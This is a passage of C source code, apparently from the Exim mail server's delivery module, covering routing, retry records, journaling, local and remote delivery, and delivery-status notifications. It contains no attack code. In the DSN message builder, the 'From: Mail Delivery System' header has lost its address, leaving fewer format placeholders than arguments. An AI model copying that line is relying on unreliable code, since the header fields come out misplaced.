addr->transport->name;\n addr->transport->name = US\"**bypassed**\";\n (void)post_process_one(addr, OK, LOG_MAIN, EXIM_DTYPE_TRANSPORT, '=');\n addr->transport->name = save;\n continue; /* with the next new address */\n }\n\n /* Pipe, file, or autoreply delivery is to go ahead as a normal local\n delivery. */\n\n DEBUG(D_deliver|D_route)\n debug_printf(\"queued for %s transport\\n\", addr->transport->name);\n addr->next = addr_local;\n addr_local = addr;\n continue; /* with the next new address */\n }\n\n /* Handle normal addresses. First, split up into local part and domain,\n handling the %-hack if necessary. There is the possibility of a defer from\n a lookup in percent_hack_domains. */\n\n if ((rc = deliver_split_address(addr)) == DEFER)\n {\n addr->message = US\"cannot check percent_hack_domains\";\n addr->basic_errno = ERRNO_LISTDEFER;\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_NONE, 0);\n continue;\n }\n\n /* Check to see if the domain is held. If so, proceed only if the\n delivery was forced by hand. */\n\n deliver_domain = addr->domain; /* set $domain */\n if ( !forced && hold_domains\n && (rc = match_isinlist(addr->domain, (const uschar **)&hold_domains, 0,\n &domainlist_anchor, addr->domain_cache, MCL_DOMAIN, TRUE,\n NULL)) != FAIL\n )\n {\n if (rc == DEFER)\n {\n addr->message = US\"hold_domains lookup deferred\";\n addr->basic_errno = ERRNO_LISTDEFER;\n }\n else\n {\n addr->message = US\"domain is held\";\n addr->basic_errno = ERRNO_HELD;\n }\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_NONE, 0);\n continue;\n }\n\n /* Now we can check for duplicates and previously delivered addresses. In\n order to do this, we have to generate a \"unique\" value for each address,\n because there may be identical actual addresses in a line of descendents.\n The \"unique\" field is initialized to the same value as the \"address\" field,\n but gets changed here to cope with identically-named descendents. */\n\n for (parent = addr->parent; parent; parent = parent->parent)\n if (strcmpic(addr->address, parent->address) == 0) break;\n\n /* If there's an ancestor with the same name, set the homonym flag. This\n influences how deliveries are recorded. Then add a prefix on the front of\n the unique address. We use \\n\\ where n starts at 0 and increases each time.\n It is unlikely to pass 9, but if it does, it may look odd but will still\n work. This means that siblings or cousins with the same names are treated\n as duplicates, which is what we want. */\n\n if (parent)\n {\n setflag(addr, af_homonym);\n if (parent->unique[0] != '\\\\')\n addr->unique = string_sprintf(\"\\\\0\\\\%s\", addr->address);\n else\n addr->unique = string_sprintf(\"\\\\%c\\\\%s\", parent->unique[1] + 1,\n addr->address);\n }\n\n /* Ensure that the domain in the unique field is lower cased, because\n domains are always handled caselessly. */\n\n p = Ustrrchr(addr->unique, '@');\n while (*p != 0) { *p = tolower(*p); p++; }\n\n DEBUG(D_deliver|D_route) debug_printf(\"unique = %s\\n\", addr->unique);\n\n if (tree_search(tree_nonrecipients, addr->unique))\n {\n DEBUG(D_deliver|D_route)\n debug_printf(\"%s was previously delivered: discarded\\n\", addr->unique);\n child_done(addr, tod_stamp(tod_log));\n continue;\n }\n\n /* Get the routing retry status, saving the two retry keys (with and\n without the local part) for subsequent use. If there is no retry record for\n the standard address routing retry key, we look for the same key with the\n sender attached, because this form is used by the smtp transport after a\n 4xx response to RCPT when address_retry_include_sender is true. */\n\n addr->domain_retry_key = string_sprintf(\"R:%s\", addr->domain);\n addr->address_retry_key = string_sprintf(\"R:%s@%s\", addr->local_part,\n addr->domain);\n\n if (dbm_file)\n {\n domain_retry_record = dbfn_read(dbm_file, addr->domain_retry_key);\n if ( domain_retry_record\n && now - domain_retry_record->time_stamp > retry_data_expire\n\t )\n domain_retry_record = NULL; /* Ignore if too old */\n\n address_retry_record = dbfn_read(dbm_file, addr->address_retry_key);\n if ( address_retry_record\n && now - address_retry_record->time_stamp > retry_data_expire\n\t )\n address_retry_record = NULL; /* Ignore if too old */\n\n if (!address_retry_record)\n {\n uschar *altkey = string_sprintf(\"%s:<%s>\", addr->address_retry_key,\n sender_address);\n address_retry_record = dbfn_read(dbm_file, altkey);\n if ( address_retry_record\n\t && now - address_retry_record->time_stamp > retry_data_expire)\n address_retry_record = NULL; /* Ignore if too old */\n }\n }\n else\n domain_retry_record = address_retry_record = NULL;\n\n DEBUG(D_deliver|D_retry)\n {\n if (!domain_retry_record)\n debug_printf(\"no domain retry record\\n\");\n if (!address_retry_record)\n debug_printf(\"no address retry record\\n\");\n }\n\n /* If we are sending a message down an existing SMTP connection, we must\n assume that the message which created the connection managed to route\n an address to that connection. We do not want to run the risk of taking\n a long time over routing here, because if we do, the server at the other\n end of the connection may time it out. This is especially true for messages\n with lots of addresses. For this kind of delivery, queue_running is not\n set, so we would normally route all addresses. We take a pragmatic approach\n and defer routing any addresses that have any kind of domain retry record.\n That is, we don't even look at their retry times. It doesn't matter if this\n doesn't work occasionally. This is all just an optimization, after all.\n\n The reason for not doing the same for address retries is that they normally\n arise from 4xx responses, not DNS timeouts. */\n\n if (continue_hostname && domain_retry_record)\n {\n addr->message = US\"reusing SMTP connection skips previous routing defer\";\n addr->basic_errno = ERRNO_RRETRY;\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n }\n\n /* If we are in a queue run, defer routing unless there is no retry data or\n we've passed the next retry time, or this message is forced. In other\n words, ignore retry data when not in a queue run.\n\n However, if the domain retry time has expired, always allow the routing\n attempt. If it fails again, the address will be failed. This ensures that\n each address is routed at least once, even after long-term routing\n failures.\n\n If there is an address retry, check that too; just wait for the next\n retry time. This helps with the case when the temporary error on the\n address was really message-specific rather than address specific, since\n it allows other messages through.\n\n We also wait for the next retry time if this is a message sent down an\n existing SMTP connection (even though that will be forced). Otherwise there\n will be far too many attempts for an address that gets a 4xx error. In\n fact, after such an error, we should not get here because, the host should\n not be remembered as one this message needs. However, there was a bug that\n used to cause this to happen, so it is best to be on the safe side.\n\n Even if we haven't reached the retry time in the hints, there is one more\n check to do, which is for the ultimate address timeout. We only do this\n check if there is an address retry record and there is not a domain retry\n record; this implies that previous attempts to handle the address had the\n retry_use_local_parts option turned on. We use this as an approximation\n for the destination being like a local delivery, for example delivery over\n LMTP to an IMAP message store. In this situation users are liable to bump\n into their quota and thereby have intermittently successful deliveries,\n which keep the retry record fresh, which can lead to us perpetually\n deferring messages. */\n\n else if ( ( f.queue_running && !f.deliver_force\n\t || continue_hostname\n\t )\n && ( ( domain_retry_record\n\t\t && now < domain_retry_record->next_try\n\t\t && !domain_retry_record->expired\n\t\t )\n\t || ( address_retry_record\n\t\t && now < address_retry_record->next_try\n\t ) )\n && ( domain_retry_record\n\t || !address_retry_record\n\t || !retry_ultimate_address_timeout(addr->address_retry_key,\n\t\t\t\t addr->domain, address_retry_record, now)\n\t ) )\n {\n addr->message = US\"retry time not reached\";\n addr->basic_errno = ERRNO_RRETRY;\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n }\n\n /* The domain is OK for routing. Remember if retry data exists so it\n can be cleaned up after a successful delivery. */\n\n else\n {\n if (domain_retry_record || address_retry_record)\n setflag(addr, af_dr_retry_exists);\n addr->next = addr_route;\n addr_route = addr;\n DEBUG(D_deliver|D_route)\n debug_printf(\"%s: queued for routing\\n\", addr->address);\n }\n }\n\n /* The database is closed while routing is actually happening. Requests to\n update it are put on a chain and all processed together at the end. */\n\n if (dbm_file) dbfn_close(dbm_file);\n\n /* If queue_domains is set, we don't even want to try routing addresses in\n those domains. During queue runs, queue_domains is forced to be unset.\n Optimize by skipping this pass through the addresses if nothing is set. */\n\n if (!f.deliver_force && queue_domains)\n {\n address_item *okaddr = NULL;\n while (addr_route)\n {\n address_item *addr = addr_route;\n addr_route = addr->next;\n\n deliver_domain = addr->domain; /* set $domain */\n if ((rc = match_isinlist(addr->domain, (const uschar **)&queue_domains, 0,\n &domainlist_anchor, addr->domain_cache, MCL_DOMAIN, TRUE, NULL))\n != OK)\n if (rc == DEFER)\n {\n addr->basic_errno = ERRNO_LISTDEFER;\n addr->message = US\"queue_domains lookup deferred\";\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n }\n else\n {\n addr->next = okaddr;\n okaddr = addr;\n }\n else\n {\n addr->basic_errno = ERRNO_QUEUE_DOMAIN;\n addr->message = US\"domain is in queue_domains\";\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n }\n }\n\n addr_route = okaddr;\n }\n\n /* Now route those addresses that are not deferred. */\n\n while (addr_route)\n {\n int rc;\n address_item *addr = addr_route;\n const uschar *old_domain = addr->domain;\n uschar *old_unique = addr->unique;\n addr_route = addr->next;\n addr->next = NULL;\n\n /* Just in case some router parameter refers to it. */\n\n if (!(return_path = addr->prop.errors_address))\n return_path = sender_address;\n\n /* If a router defers an address, add a retry item. Whether or not to\n use the local part in the key is a property of the router. */\n\n if ((rc = route_address(addr, &addr_local, &addr_remote, &addr_new,\n &addr_succeed, v_none)) == DEFER)\n retry_add_item(addr,\n addr->router->retry_use_local_part\n ? string_sprintf(\"R:%s@%s\", addr->local_part, addr->domain)\n\t: string_sprintf(\"R:%s\", addr->domain),\n\t0);\n\n /* Otherwise, if there is an existing retry record in the database, add\n retry items to delete both forms. We must also allow for the possibility\n of a routing retry that includes the sender address. Since the domain might\n have been rewritten (expanded to fully qualified) as a result of routing,\n ensure that the rewritten form is also deleted. */\n\n else if (testflag(addr, af_dr_retry_exists))\n {\n uschar *altkey = string_sprintf(\"%s:<%s>\", addr->address_retry_key,\n sender_address);\n retry_add_item(addr, altkey, rf_delete);\n retry_add_item(addr, addr->address_retry_key, rf_delete);\n retry_add_item(addr, addr->domain_retry_key, rf_delete);\n if (Ustrcmp(addr->domain, old_domain) != 0)\n retry_add_item(addr, string_sprintf(\"R:%s\", old_domain), rf_delete);\n }\n\n /* DISCARD is given for :blackhole: and \"seen finish\". The event has been\n logged, but we need to ensure the address (and maybe parents) is marked\n done. */\n\n if (rc == DISCARD)\n {\n address_done(addr, tod_stamp(tod_log));\n continue; /* route next address */\n }\n\n /* The address is finished with (failed or deferred). */\n\n if (rc != OK)\n {\n (void)post_process_one(addr, rc, LOG_MAIN, EXIM_DTYPE_ROUTER, 0);\n continue; /* route next address */\n }\n\n /* The address has been routed. If the router changed the domain, it will\n also have changed the unique address. We have to test whether this address\n has already been delivered, because it's the unique address that finally\n gets recorded. */\n\n if ( addr->unique != old_unique\n && tree_search(tree_nonrecipients, addr->unique) != 0\n )\n {\n DEBUG(D_deliver|D_route) debug_printf(\"%s was previously delivered: \"\n \"discarded\\n\", addr->address);\n if (addr_remote == addr) addr_remote = addr->next;\n else if (addr_local == addr) addr_local = addr->next;\n }\n\n /* If the router has same_domain_copy_routing set, we are permitted to copy\n the routing for any other addresses with the same domain. This is an\n optimisation to save repeated DNS lookups for \"standard\" remote domain\n routing. The option is settable only on routers that generate host lists.\n We play it very safe, and do the optimization only if the address is routed\n to a remote transport, there are no header changes, and the domain was not\n modified by the router. */\n\n if ( addr_remote == addr\n && addr->router->same_domain_copy_routing\n && !addr->prop.extra_headers\n && !addr->prop.remove_headers\n && old_domain == addr->domain\n )\n {\n address_item **chain = &addr_route;\n while (*chain)\n {\n address_item *addr2 = *chain;\n if (Ustrcmp(addr2->domain, addr->domain) != 0)\n {\n chain = &(addr2->next);\n continue;\n }\n\n /* Found a suitable address; take it off the routing list and add it to\n the remote delivery list. */\n\n *chain = addr2->next;\n addr2->next = addr_remote;\n addr_remote = addr2;\n\n /* Copy the routing data */\n\n addr2->domain = addr->domain;\n addr2->router = addr->router;\n addr2->transport = addr->transport;\n addr2->host_list = addr->host_list;\n addr2->fallback_hosts = addr->fallback_hosts;\n addr2->prop.errors_address = addr->prop.errors_address;\n copyflag(addr2, addr, af_hide_child);\n copyflag(addr2, addr, af_local_host_removed);\n\n DEBUG(D_deliver|D_route)\n debug_printf(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\\n\"\n \"routing %s\\n\"\n \"Routing for %s copied from %s\\n\",\n addr2->address, addr2->address, addr->address);\n }\n }\n } /* Continue with routing the next address. */\n } /* Loop to process any child addresses that the routers created, and\n any rerouted addresses that got put back on the new chain. */\n\n\n/* Debugging: show the results of the routing */\n\nDEBUG(D_deliver|D_retry|D_route)\n {\n address_item *p;\n debug_printf(\">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\\n\");\n debug_printf(\"After routing:\\n Local deliveries:\\n\");\n for (p = addr_local; p; p = p->next)\n debug_printf(\" %s\\n\", p->address);\n\n debug_printf(\" Remote deliveries:\\n\");\n for (p = addr_remote; p; p = p->next)\n debug_printf(\" %s\\n\", p->address);\n\n debug_printf(\" Failed addresses:\\n\");\n for (p = addr_failed; p; p = p->next)\n debug_printf(\" %s\\n\", p->address);\n\n debug_printf(\" Deferred addresses:\\n\");\n for (p = addr_defer; p; p = p->next)\n debug_printf(\" %s\\n\", p->address);\n }\n\n/* Free any resources that were cached during routing. */\n\nsearch_tidyup();\nroute_tidyup();\n\n/* These two variables are set only during routing, after check_local_user.\nEnsure they are not set in transports. */\n\nlocal_user_gid = (gid_t)(-1);\nlocal_user_uid = (uid_t)(-1);\n\n/* Check for any duplicate addresses. This check is delayed until after\nrouting, because the flexibility of the routing configuration means that\nidentical addresses with different parentage may end up being redirected to\ndifferent addresses. Checking for duplicates too early (as we previously used\nto) makes this kind of thing not work. */\n\ndo_duplicate_check(&addr_local);\ndo_duplicate_check(&addr_remote);\n\n/* When acting as an MUA wrapper, we proceed only if all addresses route to a\nremote transport. The check that they all end up in one transaction happens in\nthe do_remote_deliveries() function. */\n\nif ( mua_wrapper\n && (addr_local || addr_failed || addr_defer)\n )\n {\n address_item *addr;\n uschar *which, *colon, *msg;\n\n if (addr_local)\n {\n addr = addr_local;\n which = US\"local\";\n }\n else if (addr_defer)\n {\n addr = addr_defer;\n which = US\"deferred\";\n }\n else\n {\n addr = addr_failed;\n which = US\"failed\";\n }\n\n while (addr->parent) addr = addr->parent;\n\n if (addr->message)\n {\n colon = US\": \";\n msg = addr->message;\n }\n else colon = msg = US\"\";\n\n /* We don't need to log here for a forced failure as it will already\n have been logged. Defer will also have been logged, but as a defer, so we do\n need to do the failure logging. */\n\n if (addr != addr_failed)\n log_write(0, LOG_MAIN, \"** %s routing yielded a %s delivery\",\n addr->address, which);\n\n /* Always write an error to the caller */\n\n fprintf(stderr, \"routing %s yielded a %s delivery%s%s\\n\", addr->address,\n which, colon, msg);\n\n final_yield = DELIVER_MUA_FAILED;\n addr_failed = addr_defer = NULL; /* So that we remove the message */\n goto DELIVERY_TIDYUP;\n }\n\n\n/* If this is a run to continue deliveries to an external channel that is\nalready set up, defer any local deliveries. */\n\nif (continue_transport)\n {\n if (addr_defer)\n {\n address_item *addr = addr_defer;\n while (addr->next) addr = addr->next;\n addr->next = addr_local;\n }\n else\n addr_defer = addr_local;\n addr_local = NULL;\n }\n\n\n/* Because address rewriting can happen in the routers, we should not really do\nANY deliveries until all addresses have been routed, so that all recipients of\nthe message get the same headers. However, this is in practice not always\npossible, since sometimes remote addresses give DNS timeouts for days on end.\nThe pragmatic approach is to deliver what we can now, saving any rewritten\nheaders so that at least the next lot of recipients benefit from the rewriting\nthat has already been done.\n\nIf any headers have been rewritten during routing, update the spool file to\nremember them for all subsequent deliveries. This can be delayed till later if\nthere is only address to be delivered - if it succeeds the spool write need not\nhappen. */\n\nif ( f.header_rewritten\n && ( addr_local && (addr_local->next || addr_remote)\n || addr_remote && addr_remote->next\n ) )\n {\n /* Panic-dies on error */\n (void)spool_write_header(message_id, SW_DELIVERING, NULL);\n f.header_rewritten = FALSE;\n }\n\n\n/* If there are any deliveries to be and we do not already have the journal\nfile, create it. This is used to record successful deliveries as soon as\npossible after each delivery is known to be complete. A file opened with\nO_APPEND is used so that several processes can run simultaneously.\n\nThe journal is just insurance against crashes. When the spool file is\nultimately updated at the end of processing, the journal is deleted. If a\njournal is found to exist at the start of delivery, the addresses listed\ntherein are added to the non-recipients. */\n\nif (addr_local || addr_remote)\n {\n if (journal_fd < 0)\n {\n uschar * fname = spool_fname(US\"input\", message_subdir, id, US\"-J\");\n\n if ((journal_fd = Uopen(fname,\n#ifdef O_CLOEXEC\n\t\t\tO_CLOEXEC |\n#endif\n\t\t\tO_WRONLY|O_APPEND|O_CREAT|O_EXCL, SPOOL_MODE)) < 0)\n {\n log_write(0, LOG_MAIN|LOG_PANIC, \"Couldn't open journal file %s: %s\",\n\tfname, strerror(errno));\n return DELIVER_NOT_ATTEMPTED;\n }\n\n /* Set the close-on-exec flag, make the file owned by Exim, and ensure\n that the mode is correct - the group setting doesn't always seem to get\n set automatically. */\n\n if( fchown(journal_fd, exim_uid, exim_gid)\n || fchmod(journal_fd, SPOOL_MODE)\n#ifndef O_CLOEXEC\n || fcntl(journal_fd, F_SETFD, fcntl(journal_fd, F_GETFD) | FD_CLOEXEC)\n#endif\n )\n {\n int ret = Uunlink(fname);\n log_write(0, LOG_MAIN|LOG_PANIC, \"Couldn't set perms on journal file %s: %s\",\n\tfname, strerror(errno));\n if(ret && errno != ENOENT)\n\tlog_write(0, LOG_MAIN|LOG_PANIC_DIE, \"failed to unlink %s: %s\",\n\t fname, strerror(errno));\n return DELIVER_NOT_ATTEMPTED;\n }\n }\n }\nelse if (journal_fd >= 0)\n {\n close(journal_fd);\n journal_fd = -1;\n }\n\n\n\n/* Now we can get down to the business of actually doing deliveries. Local\ndeliveries are done first, then remote ones. If ever the problems of how to\nhandle fallback transports are figured out, this section can be put into a loop\nfor handling fallbacks, though the uid switching will have to be revised. */\n\n/* Precompile a regex that is used to recognize a parameter in response\nto an LHLO command, if is isn't already compiled. This may be used on both\nlocal and remote LMTP deliveries. */\n\nif (!regex_IGNOREQUOTA)\n regex_IGNOREQUOTA =\n regex_must_compile(US\"\\\\n250[\\\\s\\\\-]IGNOREQUOTA(\\\\s|\\\\n|$)\", FALSE, TRUE);\n\n/* Handle local deliveries */\n\nif (addr_local)\n {\n DEBUG(D_deliver|D_transport)\n debug_printf(\">>>>>>>>>>>>>>>> Local deliveries >>>>>>>>>>>>>>>>\\n\");\n do_local_deliveries();\n f.disable_logging = FALSE;\n }\n\n/* If queue_run_local is set, we do not want to attempt any remote deliveries,\nso just queue them all. */\n\nif (f.queue_run_local)\n while (addr_remote)\n {\n address_item *addr = addr_remote;\n addr_remote = addr->next;\n addr->next = NULL;\n addr->basic_errno = ERRNO_LOCAL_ONLY;\n addr->message = US\"remote deliveries suppressed\";\n (void)post_process_one(addr, DEFER, LOG_MAIN, EXIM_DTYPE_TRANSPORT, 0);\n }\n\n/* Handle remote deliveries */\n\nif (addr_remote)\n {\n DEBUG(D_deliver|D_transport)\n debug_printf(\">>>>>>>>>>>>>>>> Remote deliveries >>>>>>>>>>>>>>>>\\n\");\n\n /* Precompile some regex that are used to recognize parameters in response\n to an EHLO command, if they aren't already compiled. */\n\n deliver_init();\n\n /* Now sort the addresses if required, and do the deliveries. The yield of\n do_remote_deliveries is FALSE when mua_wrapper is set and all addresses\n cannot be delivered in one transaction. */\n\n if (remote_sort_domains) sort_remote_deliveries();\n if (!do_remote_deliveries(FALSE))\n {\n log_write(0, LOG_MAIN, \"** mua_wrapper is set but recipients cannot all \"\n \"be delivered in one transaction\");\n fprintf(stderr, \"delivery to smarthost failed (configuration problem)\\n\");\n\n final_yield = DELIVER_MUA_FAILED;\n addr_failed = addr_defer = NULL; /* So that we remove the message */\n goto DELIVERY_TIDYUP;\n }\n\n /* See if any of the addresses that failed got put on the queue for delivery\n to their fallback hosts. We do it this way because often the same fallback\n host is used for many domains, so all can be sent in a single transaction\n (if appropriately configured). */\n\n if (addr_fallback && !mua_wrapper)\n {\n DEBUG(D_deliver) debug_printf(\"Delivering to fallback hosts\\n\");\n addr_remote = addr_fallback;\n addr_fallback = NULL;\n if (remote_sort_domains) sort_remote_deliveries();\n do_remote_deliveries(TRUE);\n }\n f.disable_logging = FALSE;\n }\n\n\n/* All deliveries are now complete. Ignore SIGTERM during this tidying up\nphase, to minimize cases of half-done things. */\n\nDEBUG(D_deliver)\n debug_printf(\">>>>>>>>>>>>>>>> deliveries are done >>>>>>>>>>>>>>>>\\n\");\ncancel_cutthrough_connection(TRUE, US\"deliveries are done\");\n\n/* Root privilege is no longer needed */\n\nexim_setugid(exim_uid, exim_gid, FALSE, US\"post-delivery tidying\");\n\nset_process_info(\"tidying up after delivering %s\", message_id);\nsignal(SIGTERM, SIG_IGN);\n\n/* When we are acting as an MUA wrapper, the smtp transport will either have\nsucceeded for all addresses, or failed them all in normal cases. However, there\nare some setup situations (e.g. when a named port does not exist) that cause an\nimmediate exit with deferral of all addresses. Convert those into failures. We\ndo not ever want to retry, nor do we want to send a bounce message. */\n\nif (mua_wrapper)\n {\n if (addr_defer)\n {\n address_item *addr, *nextaddr;\n for (addr = addr_defer; addr; addr = nextaddr)\n {\n log_write(0, LOG_MAIN, \"** %s mua_wrapper forced failure for deferred \"\n \"delivery\", addr->address);\n nextaddr = addr->next;\n addr->next = addr_failed;\n addr_failed = addr;\n }\n addr_defer = NULL;\n }\n\n /* Now all should either have succeeded or failed. */\n\n if (!addr_failed)\n final_yield = DELIVER_MUA_SUCCEEDED;\n else\n {\n host_item * host;\n uschar *s = addr_failed->user_message;\n\n if (!s) s = addr_failed->message;\n\n fprintf(stderr, \"Delivery failed: \");\n if (addr_failed->basic_errno > 0)\n {\n fprintf(stderr, \"%s\", strerror(addr_failed->basic_errno));\n if (s) fprintf(stderr, \": \");\n }\n if ((host = addr_failed->host_used))\n fprintf(stderr, \"H=%s [%s]: \", host->name, host->address);\n if (s)\n fprintf(stderr, \"%s\", CS s);\n else if (addr_failed->basic_errno <= 0)\n fprintf(stderr, \"unknown error\");\n fprintf(stderr, \"\\n\");\n\n final_yield = DELIVER_MUA_FAILED;\n addr_failed = NULL;\n }\n }\n\n/* In a normal configuration, we now update the retry database. This is done in\none fell swoop at the end in order not to keep opening and closing (and\nlocking) the database. The code for handling retries is hived off into a\nseparate module for convenience. We pass it the addresses of the various\nchains, because deferred addresses can get moved onto the failed chain if the\nretry cutoff time has expired for all alternative destinations. Bypass the\nupdating of the database if the -N flag is set, which is a debugging thing that\nprevents actual delivery. */\n\nelse if (!f.dont_deliver)\n retry_update(&addr_defer, &addr_failed, &addr_succeed);\n\n/* Send DSN for successful messages if requested */\naddr_senddsn = NULL;\n\nfor (addr_dsntmp = addr_succeed; addr_dsntmp; addr_dsntmp = addr_dsntmp->next)\n {\n /* af_ignore_error not honored here. it's not an error */\n DEBUG(D_deliver) debug_printf(\"DSN: processing router : %s\\n\"\n \"DSN: processing successful delivery address: %s\\n\"\n \"DSN: Sender_address: %s\\n\"\n \"DSN: orcpt: %s flags: %d\\n\"\n \"DSN: envid: %s ret: %d\\n\"\n \"DSN: Final recipient: %s\\n\"\n \"DSN: Remote SMTP server supports DSN: %d\\n\",\n addr_dsntmp->router ? addr_dsntmp->router->name : US\"(unknown)\",\n addr_dsntmp->address,\n sender_address,\n addr_dsntmp->dsn_orcpt ? addr_dsntmp->dsn_orcpt : US\"NULL\",\n addr_dsntmp->dsn_flags,\n dsn_envid ? dsn_envid : US\"NULL\", dsn_ret,\n addr_dsntmp->address,\n addr_dsntmp->dsn_aware\n );\n\n /* send report if next hop not DSN aware or a router flagged \"last DSN hop\"\n and a report was requested */\n if ( ( addr_dsntmp->dsn_aware != dsn_support_yes\n\t|| addr_dsntmp->dsn_flags & rf_dsnlasthop\n )\n && addr_dsntmp->dsn_flags & rf_dsnflags\n && addr_dsntmp->dsn_flags & rf_notify_success\n )\n {\n /* copy and relink address_item and send report with all of them at once later */\n address_item * addr_next = addr_senddsn;\n addr_senddsn = store_get(sizeof(address_item));\n *addr_senddsn = *addr_dsntmp;\n addr_senddsn->next = addr_next;\n }\n else\n DEBUG(D_deliver) debug_printf(\"DSN: not sending DSN success message\\n\");\n }\n\nif (addr_senddsn)\n {\n pid_t pid;\n int fd;\n\n /* create exim process to send message */\n pid = child_open_exim(&fd);\n\n DEBUG(D_deliver) debug_printf(\"DSN: child_open_exim returns: %d\\n\", pid);\n\n if (pid < 0) /* Creation of child failed */\n {\n log_write(0, LOG_MAIN|LOG_PANIC_DIE, \"Process %d (parent %d) failed to \"\n \"create child process to send failure message: %s\", getpid(),\n getppid(), strerror(errno));\n\n DEBUG(D_deliver) debug_printf(\"DSN: child_open_exim failed\\n\");\n }\n else /* Creation of child succeeded */\n {\n FILE *f = fdopen(fd, \"wb\");\n /* header only as required by RFC. only failure DSN needs to honor RET=FULL */\n uschar * bound;\n transport_ctx tctx = {{0}};\n\n DEBUG(D_deliver)\n debug_printf(\"sending error message to: %s\\n\", sender_address);\n\n /* build unique id for MIME boundary */\n bound = string_sprintf(TIME_T_FMT \"-eximdsn-%d\", time(NULL), rand());\n DEBUG(D_deliver) debug_printf(\"DSN: MIME boundary: %s\\n\", bound);\n\n if (errors_reply_to)\n fprintf(f, \"Reply-To: %s\\n\", errors_reply_to);\n\n fprintf(f, \"Auto-Submitted: auto-generated\\n\"\n\t\"From: Mail Delivery System \\n\"\n\t\"To: %s\\n\"\n\t\"Subject: Delivery Status Notification\\n\"\n\t\"Content-Type: multipart/report; report-type=delivery-status; boundary=%s\\n\"\n\t\"MIME-Version: 1.0\\n\\n\"\n\n\t\"--%s\\n\"\n\t\"Content-type: text/plain; charset=us-ascii\\n\\n\"\n\n\t\"This message was created automatically by mail delivery software.\\n\"\n\t\" ----- The following addresses had successful delivery notifications -----\\n\",\n qualify_domain_sender, sender_address, bound, bound);\n\n for (addr_dsntmp = addr_senddsn; addr_dsntmp;\n\t addr_dsntmp = addr_dsntmp->next)\n fprintf(f, \"<%s> (relayed %s)\\n\\n\",\n\taddr_dsntmp->address,\n\t(addr_dsntmp->dsn_flags & rf_dsnlasthop) == 1\n\t ? \"via non DSN router\"\n\t : addr_dsntmp->dsn_aware == dsn_support_no\n\t ? \"to non-DSN-aware mailer\"\n\t : \"via non \\\"Remote SMTP\\\" router\"\n\t);\n\n fprintf(f, \"--%s\\n\"\n\t\"Content-type: message/delivery-status\\n\\n\"\n\t\"Reporting-MTA: dns; %s\\n\",\n bound, smtp_active_hostname);\n\n if (dsn_envid)\n {\t\t\t/* must be decoded from xtext: see RFC 3461:6.3a */\n uschar *xdec_envid;\n if (auth_xtextdecode(dsn_envid, &xdec_envid) > 0)\n fprintf(f, \"Original-Envelope-ID: %s\\n\", dsn_envid);\n else\n fprintf(f, \"X-Original-Envelope-ID: error decoding xtext formatted ENVID\\n\");\n }\n fputc('\\n', f);\n\n for (addr_dsntmp = addr_senddsn;\n\t addr_dsntmp;\n\t addr_dsntmp = addr_dsntmp->next)\n {\n if (addr_dsntmp->dsn_orcpt)\n fprintf(f,\"Original-Recipient: %s\\n\", addr_dsntmp->dsn_orcpt);\n\n fprintf(f, \"Action: delivered\\n\"\n\t \"Final-Recipient: rfc822;%s\\n\"\n\t \"Status: 2.0.0\\n\",\n\taddr_dsntmp->address);\n\n if (addr_dsntmp->host_used && addr_dsntmp->host_used->name)\n fprintf(f, \"Remote-MTA: dns; %s\\nDiagnostic-Code: smtp; 250 Ok\\n\\n\",\n\t addr_dsntmp->host_used->name);\n else\n\tfprintf(f, \"Diagnostic-Code: X-Exim; relayed via non %s router\\n\\n\",\n\t (addr_dsntmp->dsn_flags & rf_dsnlasthop) == 1 ? \"DSN\" : \"SMTP\");\n }\n\n fprintf(f, \"--%s\\nContent-type: text/rfc822-headers\\n\\n\", bound);\n\n fflush(f);\n transport_filter_argv = NULL; /* Just in case */\n return_path = sender_address; /* In case not previously set */\n\n /* Write the original email out */\n\n tctx.u.fd = fileno(f);\n tctx.options = topt_add_return_path | topt_no_body;\n transport_write_message(&tctx, 0);\n fflush(f);\n\n fprintf(f,\"\\n--%s--\\n\", bound);\n\n fflush(f);\n fclose(f);\n rc = child_close(pid, 0); /* Waits for child to close, no timeout */\n }\n }\n\n/* If any addresses failed, we must send a message to somebody, unless\naf_ignore_error is set, in which case no action is taken. It is possible for\nseveral messages to get sent if there are addresses with different\nrequirements. */\n\nwhile (addr_failed)\n {\n pid_t pid;\n int fd;\n uschar *logtod = tod_stamp(tod_log);\n address_item *addr;\n address_item *handled_addr = NULL;\n address_item **paddr;\n address_item *msgchain = NULL;\n address_item **pmsgchain = &msgchain;\n\n /* There are weird cases when logging is disabled in the transport. However,\n there may not be a transport (address failed by a router). */\n\n f.disable_logging = FALSE;\n if (addr_failed->transport)\n f.disable_logging = addr_failed->transport->disable_logging;\n\n DEBUG(D_deliver)\n debug_printf(\"processing failed address %s\\n\", addr_failed->address);\n\n /* There are only two ways an address in a bounce message can get here:\n\n (1) When delivery was initially deferred, but has now timed out (in the call\n to retry_update() above). We can detect this by testing for\n af_retry_timedout. If the address does not have its own errors address,\n we arrange to ignore the error.\n\n (2) If delivery failures for bounce messages are being ignored. We can detect\n this by testing for af_ignore_error. This will also be set if a bounce\n message has been autothawed and the ignore_bounce_errors_after time has\n passed. It might also be set if a router was explicitly configured to\n ignore errors (errors_to = \"\").\n\n If neither of these cases obtains, something has gone wrong. Log the\n incident, but then ignore the error. */\n\n if (sender_address[0] == 0 && !addr_failed->prop.errors_address)\n {\n if ( !testflag(addr_failed, af_retry_timedout)\n && !addr_failed->prop.ignore_error)\n log_write(0, LOG_MAIN|LOG_PANIC, \"internal error: bounce message \"\n \"failure is neither frozen nor ignored (it's been ignored)\");\n\n addr_failed->prop.ignore_error = TRUE;\n }\n\n /* If the first address on the list has af_ignore_error set, just remove\n it from the list, throw away any saved message file, log it, and\n mark the recipient done. */\n\n if ( addr_failed->prop.ignore_error\n || ( addr_failed->dsn_flags & rf_dsnflags\n && (addr_failed->dsn_flags & rf_notify_failure) != rf_notify_failure\n ) )\n 